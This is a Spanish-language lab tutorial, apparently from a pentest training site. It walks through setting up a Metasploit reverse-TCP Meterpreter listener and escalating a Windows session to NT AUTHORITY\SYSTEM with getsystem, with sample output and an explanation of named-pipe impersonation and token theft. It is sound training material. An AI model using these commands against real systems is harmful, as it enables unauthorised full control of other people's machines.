Escalar Privilegios con getsystem en Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En el campo de las pruebas de penetración, obtener acceso inicial a un sistema objetivo es solo el principio. A menudo, el punto de apoyo inicial es una cuenta de usuario con privilegios bajos y permisos limitados. Para obtener control total sobre el sistema, debe escalar sus privilegios a una cuenta de nivel superior, como Administrator o, mejor aún, NT AUTHORITY\SYSTEM en Windows. Este proceso se conoce como escalada de privilegios.

El Metasploit Framework proporciona una potente carga útil post-explotación llamada Meterpreter, que incluye un comando versátil, getsystem, diseñado específicamente para este propósito. Este comando automatiza varias técnicas para elevar los privilegios de la sesión actual al nivel más alto.

En este laboratorio, asumirá el papel de un atacante que ya ha obtenido una sesión básica de Meterpreter en un objetivo de Windows. Aprenderá a utilizar el comando getsystem para escalar sus privilegios y confirmar su nuevo nivel de acceso.

Establecer una sesión de Meterpreter en un objetivo de Windows

En este paso, simularemos la obtención de una sesión de Meterpreter. Primero, necesitamos iniciar la consola de Metasploit Framework y configurar un listener para "capturar" la conexión entrante desde una máquina comprometida.

Abra una terminal e inicie la consola de Metasploit en modo silencioso para evitar el banner.

msfconsole -q

Una vez dentro del prompt de msfconsole, utilizaremos el módulo genérico multi/handler. Este módulo está diseñado para manejar conexiones entrantes de varias cargas útiles (payloads).

use multi/handler

A continuación, debemos indicarle al handler qué payload esperar. Para este laboratorio, utilizaremos una carga útil estándar de Meterpreter reverse TCP para Windows.

set payload windows/meterpreter/reverse_tcp

También necesitamos configurar la dirección IP (LHOST) y el puerto (LPORT) del listener. Estableceremos LHOST en 127.0.0.1 (localhost) y LPORT en 4444.

set LHOST 127.0.0.1
set LPORT 4444

Ahora, inicie el listener ejecutando el comando exploit. Usamos la bandera -j para ejecutarlo como un trabajo en segundo plano, lo que mantendrá el prompt de msfconsole disponible para otros comandos.

exploit -j

Debería ver una confirmación de que el handler se ha iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Para este laboratorio, un proceso en segundo plano simulará ahora un host de Windows comprometido que se conecta de vuelta a usted. Después de unos momentos, debería ver un mensaje que indica que se ha abierto una sesión de Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000

Para interactuar con esta nueva sesión, utilice el comando sessions con la bandera -i seguida del ID de la sesión.

sessions -i 1

Su prompt debería cambiar a meterpreter>, lo que indica que ahora se encuentra dentro de la sesión de Meterpreter en la máquina objetivo.

meterpreter >

Comprobar sus privilegios actuales con getprivs

En este paso, antes de intentar escalar, es crucial comprender los privilegios que tiene nuestra cuenta de usuario actual. En Windows, los privilegios determinan qué operaciones específicas a nivel de sistema puede realizar un usuario, como depurar programas o apagar el sistema.

Meterpreter proporciona el comando getprivs para enumerar los privilegios asociados con el token del proceso actual.

Ahora que se encuentra en el prompt de meterpreter>, ejecute el comando getprivs:

getprivs

La salida enumerará todos los privilegios que posee el proceso del usuario actual. Algunos privilegios están habilitados por defecto, mientras que otros pueden estar deshabilitados.

============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseQuotaPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

Esta salida nos indica nuestras capacidades actuales. Para que muchas técnicas de escalada funcionen, se requieren ciertos privilegios como SeDebugPrivilege o SeImpersonatePrivilege. Ver esta lista nos ayuda a planificar nuestro próximo movimiento.

Intentar escalar a SYSTEM usando el comando getsystem

En este paso, utilizaremos el comando principal de Meterpreter para la escalada de privilegios: getsystem. Este comando es un script potente que intenta automáticamente varias técnicas diferentes para escalar los privilegios de la sesión a NT AUTHORITY\SYSTEM.

La cuenta NT AUTHORITY\SYSTEM es la cuenta más potente en un sistema Windows, con acceso prácticamente ilimitado a todos los recursos. Obtener el control de esta cuenta es a menudo el objetivo principal de la post-explotación.

Desde su prompt de meterpreter>, simplemente ejecute el comando getsystem:

getsystem

Meterpreter intentará ahora varias técnicas. Si tiene éxito, verá un mensaje indicando qué técnica funcionó. El resultado exitoso más común es a través de "Named Pipe Impersonation".

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Si el comando devuelve un mensaje de éxito, es probable que haya logrado escalar sus privilegios. Si falla, significa que ninguna de las técnicas automatizadas funcionó bajo el contexto del usuario actual, lo que podría deberse a la falta de privilegios o al endurecimiento del sistema. Para este laboratorio, se espera que el comando tenga éxito.

Verificar nuevos privilegios con getuid

En este paso, después de ejecutar getsystem, necesitamos verificar que nuestros privilegios se han elevado realmente. Una forma sencilla de hacerlo es comprobar la identidad del usuario de nuestra sesión actual.

Meterpreter proporciona el comando getuid para este propósito. Consulta el sistema y devuelve el nombre de usuario con el que se está ejecutando actualmente el servidor de Meterpreter.

En su prompt de meterpreter>, ejecute el comando getuid:

getuid

Si el comando getsystem tuvo éxito, la salida debería mostrar ahora que usted es el usuario SYSTEM.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Ver NT AUTHORITY\SYSTEM como nombre de usuario del servidor es la confirmación definitiva de una escalada de privilegios exitosa. Ahora tiene el nivel más alto de control sobre la máquina objetivo. Si hubiera ejecutado getuid antes de getsystem, habría mostrado el nombre del usuario con bajos privilegios que comprometió inicialmente.

Discutir diferentes técnicas de getsystem

En este paso, exploraremos qué sucede tras bambalinas cuando ejecutas getsystem. Este comando no es una función única y mágica; es un script que recorre una lista de técnicas conocidas de escalada de privilegios en Windows.

Para ver la lista de técnicas disponibles, puedes usar el menú de ayuda del comando getsystem pasando el flag -h.

getsystem -h

Esto mostrará las opciones de uso y una lista de las técnicas que puede emplear.

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h   Help Banner.
    -t   The technique to use. (Default to trying all)

Techniques:
    0: All
    1: Named Pipe Impersonation (In Memory/Admin)
    2: Named Pipe Impersonation (Dropper/Admin)
    3: Token Duplication (Admin)

(Nota: El número y el nombre de las técnicas pueden variar ligeramente entre las versiones de Metasploit.)

Analicemos brevemente qué significan estas técnicas:

  • Named Pipe Impersonation (In Memory/Admin): Este es el método predeterminado y más fiable. Crea un servicio que se ejecuta como SYSTEM, luego crea una tubería con nombre (named pipe) a la que se conecta el servicio. Tu proceso luego suplanta el contexto de seguridad de ese servicio, convirtiéndose en SYSTEM. Todo esto se realiza en memoria. Normalmente requiere privilegios de Administrador para tener éxito.
  • Named Pipe Impersonation (Dropper/Admin): Es similar a la primera técnica, pero implica dejar caer un archivo (una DLL) en el disco. Esto es menos sigiloso y es más probable que sea detectado por el software antivirus.
  • Token Duplication (Admin): Esta técnica encuentra un proceso que ya se está ejecutando como SYSTEM, roba su token de acceso y lo aplica a tu proceso actual. Esto requiere el SeDebugPrivilege, que te permite inspeccionar y depurar otros procesos.

Por defecto, getsystem intenta todas las técnicas disponibles (-t 0) hasta que una tenga éxito. Comprender estos métodos te ayuda a solucionar problemas cuando getsystem falla y te permite seleccionar manualmente una técnica específica si tienes más información sobre la configuración del sistema objetivo.

Resumen

En este laboratorio, has realizado con éxito una de las tareas más críticas de post-explotación: la escalada de privilegios. Aprendiste a aprovechar el Metasploit Framework y su payload Meterpreter para elevar tu acceso en un objetivo Windows de un usuario estándar a la todopoderosa cuenta NT AUTHORITY\SYSTEM.

Recorriste todo el proceso, desde la configuración de un listener y el establecimiento de una sesión hasta la verificación de tu nivel de acceso final. Específicamente, utilizaste:

  • msfconsole para configurar un listener.
  • getprivs para enumerar tus privilegios iniciales.
  • getsystem para escalar automáticamente tus privilegios.
  • getuid para confirmar que te habías convertido en NT AUTHORITY\SYSTEM.

Finalmente, exploraste las diferentes técnicas que el comando getsystem utiliza internamente. Este conocimiento es invaluable para comprender por qué el comando puede tener éxito o fallar en diferentes entornos. Dominar la escalada de privilegios es una habilidad fundamental para cualquier pentester, y getsystem es una herramienta poderosa en tu arsenal.